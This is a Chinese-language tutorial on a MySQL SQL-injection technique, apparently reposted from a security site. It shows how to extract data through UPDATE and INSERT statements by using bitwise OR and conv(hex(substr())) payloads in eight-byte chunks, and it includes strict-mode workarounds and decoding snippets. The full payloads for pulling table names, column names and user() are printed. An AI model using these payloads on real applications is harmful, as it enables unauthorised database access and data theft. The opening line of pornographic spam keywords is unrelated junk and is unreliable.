偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

一種新的MySQL下Update、Insert注入方法

安全 數(shù)據(jù)安全
目前我們一般通過報錯和時間盲注來對update和insert語句進行SQL注入,下面我們來講解一種新的獲取數(shù)據(jù)的方法。

[[183607]]

一、前言

目前我們一般通過報錯和時間盲注來對update和insert語句進行SQL注入,下面我們來講解一種新的獲取數(shù)據(jù)的方法。

首先我們來看一個簡單的例子,假設(shè)應(yīng)用會將username字段的結(jié)果會返回給我們:

  1. $query = "UPDATE users SET username = '$username' WHERE id = '$id';"

HTTP應(yīng)用中的參數(shù)是這樣的:

  1.      
  2. username=test&id=16 

我最近研究的帶內(nèi),帶外攻擊技巧剛好適用于這個場景,要理解我的技巧,我們可以先看下Mysql 是如何處理字符串的。在Mysql 中一個字符串等于 ‘0’,我們來看一下:

Mysql 是如何處理字符串

假如我們把字符串和數(shù)字相加,結(jié)果和0 加這個數(shù)字一樣:

Mysql 是如何處理字符串

Mysql的這個屬性給了我一些靈感,我們來看看BIGINT的最大值加上一個字符串會怎樣?

BIGINT的最大值加上一個字符串

結(jié)果是 ‘1.8446744073709552e19’,這表明字符串實際上作為八字節(jié)的DOUBEL類型來處理。

八字節(jié)的DOUBEL類型

將一個DOUBLE類型和大數(shù)字相加會返回IEEE格式的值,為了解決這個問題我們可以使用OR。

OR

現(xiàn)在我們得到了最大的64bit無符號的BIGINT值0xffffffffffffffff。我們需要注意通過OR獲取數(shù)據(jù)時,這個值必須小于BIGINT(不能超過64bit)。

二、轉(zhuǎn)換字符串為數(shù)字

為了獲取數(shù)據(jù)我們可以將應(yīng)用輸出的字段轉(zhuǎn)換為數(shù)字,然后再解碼回來,如下步驟:

  1. String -> Hexadecimal -> Decimal 

將應(yīng)用輸出的字段轉(zhuǎn)換為數(shù)字

通過SQL,Python和Ruby等語言我們可以將數(shù)字轉(zhuǎn)回字符串,如下:    

  1. Decimal -> Hexadecimal -> String 

通過SQL,Python和Ruby等語言我們可以將數(shù)字轉(zhuǎn)回字符串

如上面提到的,Mysql中的最大值為BIGINT,我們不能超過它,也就是說每次提取的字符串不能超過8位。

Mysql中的最大值為BIGINT

4702111234474983745可以被解碼為AAAAAAAA,如果再加一個A,我們就不能正確解碼了,因為返回的結(jié)果會是無符號的BIGINT值0xffffffffffffffff。

BIGINT值0xffffffffffffffff

如果需要獲取的數(shù)據(jù)超過8個字節(jié),我們需要使用substr()方法來將數(shù)據(jù)分片。

  1. select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10); 

n的取值為1、2、3…比如我們要獲取的username長度超過8個字符,我們首先獲取前八個字符,然后繼續(xù)獲取后面的8個直到得到NULL。

8個直到得到NULL

最后我們把user()函數(shù)獲得的數(shù)據(jù)解碼。

把user()函數(shù)獲得的數(shù)據(jù)解碼

三、注入技巧

1. 獲取表名

  1. select conv(hex(substr((select table_name from information_schema.tables where table_schema=schema() limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

2. 獲取列名

  1.      
  2. select conv(hex(substr((select column_name from information_schema.columns where table_name=’Name of your table’ limit 0,1),1 + (n-1) * 8, 8*n)), 16, 10); 

3. 利用UPDATE語句

下面我們通過一個例子來說明如何利用更新語句。

利用更新語句

實際的查詢語句可能是這樣的:

實際的查詢語句

實際的查詢語句

4. 利用INSERT語句

原始SQL語句如下:

  1. insert into users values (17,'james', 'bond'); 

我們可以像update語句中一樣獲取數(shù)據(jù):

  1. insert into users values (17,'james', 'bond'|conv(hex(substr(user(),1 + (n-1) * 8, 8* n)),16, 10); 

MySQL 5.7中的限制

你可能注意到這種方法在MySQL 5.7.5之后的版本并不奏效。

MySQL 5.7.5

通過研究MySQL 5.7發(fā)現(xiàn)Mysql服務(wù)器默認運行在‘Strict SQL Mode’下,在MySQL 5.7.5里,默認的模式包含‘STRICT_TRANS_TABLES’。在 ‘Strict SQL Mode’ 下我們不能將integer轉(zhuǎn)換為string。

將integer轉(zhuǎn)換為string

為了解決這個問題,我們需要在注入時一直使用一個integer類型,這樣就不會有任何問題了。

在注入時一直使用一個integer類型

另外任何用戶都可以在他的會話里關(guān)閉‘Strict Mode’。

‘Strict Mode’

如果想設(shè)置影響所有客戶端的全局屬性需要SUPER權(quán)限。

開發(fā)者也可以使用‘IGNORE’關(guān)鍵字來忽略‘Strict Mode’,如‘INSERT IGNORE’或者‘UPDATE IGNORE’。

‘Strict Mode’

四、解碼Decoding

SQL

  1. select unhex(conv(value, 10, 16)); 

Python

  1. dec = lambda x:("%x"%x).decode('hex') 

Ruby

  1. dec = lambda { |x| puts x.to_s(16).scan(/../).map { |x| x.hex.chr }.join }或 
  2. dec = lambda { |x| puts x.to_s(16).scan(/\w+/).pack("H*") } 
責(zé)任編輯:趙寧寧 來源: 安全客
相關(guān)推薦

2014-07-04 09:28:25

2018-12-14 14:30:12

安全檢測布式系測試

2024-01-18 15:38:17

語言模型大型語言模型

2022-06-09 09:38:39

Cloudlets云存儲

2010-11-05 10:15:42

云計算

2022-08-08 08:22:22

量子計算

2011-07-04 17:53:48

快速測試

2011-12-28 21:18:18

App

2011-04-06 10:09:56

MySQL數(shù)據(jù)庫安裝

2019-11-13 08:52:19

Linux監(jiān)控日志

2010-03-26 13:34:47

CentOS安裝

2021-06-11 00:11:23

GPS數(shù)據(jù)協(xié)議

2023-12-04 08:21:18

虛擬線程Tomcat

2022-04-06 12:00:46

HEAT安全架構(gòu)新威脅

2022-07-28 11:29:23

數(shù)據(jù)安全數(shù)據(jù)令牌化

2009-06-17 09:05:05

Linux隱藏網(wǎng)絡(luò)鏈接命令

2009-06-17 12:01:21

Linux

2013-03-12 14:07:06

Java編程

2020-12-16 10:12:52

大數(shù)據(jù)小數(shù)據(jù)人工智能

2019-11-22 09:21:17

技術(shù)研發(fā)數(shù)據(jù)
點贊
收藏

51CTO技術(shù)棧公眾號